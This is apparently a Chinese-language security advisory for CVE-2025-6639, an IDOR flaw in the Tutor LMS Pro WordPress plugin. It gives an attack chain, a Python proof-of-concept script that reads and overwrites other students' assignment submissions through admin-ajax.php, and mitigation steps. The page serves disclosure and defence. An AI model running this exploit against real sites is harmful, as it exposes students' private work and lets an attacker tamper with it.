IPBUF安全漏洞报告
English
CVE-2025-6639 CVSS 5.4 中危

CVE-2025-6639 WordPress Tutor LMS Pro IDOR漏洞可越权查看编辑作业

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-6639
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS Pro WordPress插件

相关标签

CVE-2025-6639IDOR不安全的直接对象引用WordPress插件漏洞Tutor LMS Pro越权访问作业提交漏洞认证绕过CVSS 5.4中等严重

漏洞概述

CVE-2025-6639是WordPress平台下Tutor LMS Pro在线课程解决方案插件的一个中高危安全漏洞。该插件专为WordPress网站设计,用于创建和管理在线课程、作业提交等教育功能。漏洞存在于插件的tutor_assignment_submit()函数中,由于缺少对用户控制键的充分验证,导致攻击者可以通过构造特定的请求参数,访问或修改其他用户的作业提交内容。此漏洞被评定为CVSS 5.4分,属于中等严重程度。攻击者只需拥有WordPress网站的订阅者(Subscriber)级别账户即可利用此漏洞,该级别权限非常低,大多数注册用户都具备。这意味着任何已注册的用户都可能成为潜在攻击者,能够查看同课程其他学生的作业答案,甚至修改他人的作业提交记录,对在线教育平台的教学秩序和学生隐私造成严重影响。

技术细节

该漏洞的核心问题在于不安全的直接对象引用(IDOR)。在tutor_assignment_submit()函数的实现中,程序直接使用用户提供的参数值(如作业ID或用户ID)来访问数据库中的记录,而没有进行充分的权限验证。具体来说,当用户提交或查看作业时,系统通过作业ID来定位对应的数据库记录,但由于该ID由用户控制且服务端未验证当前用户是否有权访问该作业,攻击者只需修改请求中的作业ID参数,即可访问其他用户的作业。攻击者首先需要拥有一个有效的WordPress账户(订阅者级别即可),然后通过遍历或猜测作业ID的方式,构造恶意请求。当服务器接收到请求后,由于缺少访问控制检查,会直接将对应的作业内容返回给攻击者或允许其修改。对于修改操作,攻击者同样可以通过修改请求中的用户ID参数,将其他用户的作业标记为已提交或修改其内容。防御此漏洞需要在所有涉及用户数据访问的操作中添加严格的权限验证,确保用户只能访问和修改自己的数据。

攻击链分析

STEP 1
步骤1
攻击者注册WordPress账户并获取订阅者(Subscriber)级别权限
STEP 2
步骤2
攻击者登录后访问包含Tutor LMS插件的课程页面,查看作业提交功能
STEP 3
步骤3
攻击者通过枚举或信息收集获取目标作业ID和其他学生的用户ID
STEP 4
步骤4
攻击者构造恶意HTTP请求,在tutor_assignment_submit()函数的参数中注入目标作业ID和用户ID
STEP 5
步骤5
服务端由于缺少权限验证,直接返回目标学生的作业内容或执行修改操作
STEP 6
步骤6
攻击者成功获取或篡改其他学生的作业提交,窃取答案或破坏教学数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # Target WordPress site with Tutor LMS Pro plugin target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Get course and assignment IDs (enumerate possible IDs) assignment_id = 1 # Start enumeration from 1 target_user_id = 2 # Victim user ID to access # Exploit IDOR to view other students' assignment submissions view_url = f"{target_url}/wp-admin/admin-ajax.php" view_data = { "action": "tutor_assignment_submit", "assignment_id": assignment_id, "user_id": target_user_id } response = session.post(view_url, data=view_data) print(f"Assignment Content: {response.text}") # Exploit IDOR to edit other students' assignment submissions edit_data = { "action": "tutor_assignment_submit", "assignment_id": assignment_id, "user_id": target_user_id, "answer_content": "Malicious modified content" } edit_response = session.post(view_url, data=edit_data) print(f"Edit Result: {edit_response.status_code}")

影响范围

Tutor LMS Pro WordPress插件 <= 3.8.3

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制网站的注册功能,关闭公开注册;2)使用WordPress安全插件配置IP白名单限制;3)暂时禁用作业提交功能或切换到手动批改模式;4)加强对所有用户的活动监控,及时发现异常访问行为;5)联系Wordfence等安全厂商获取临时防护规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表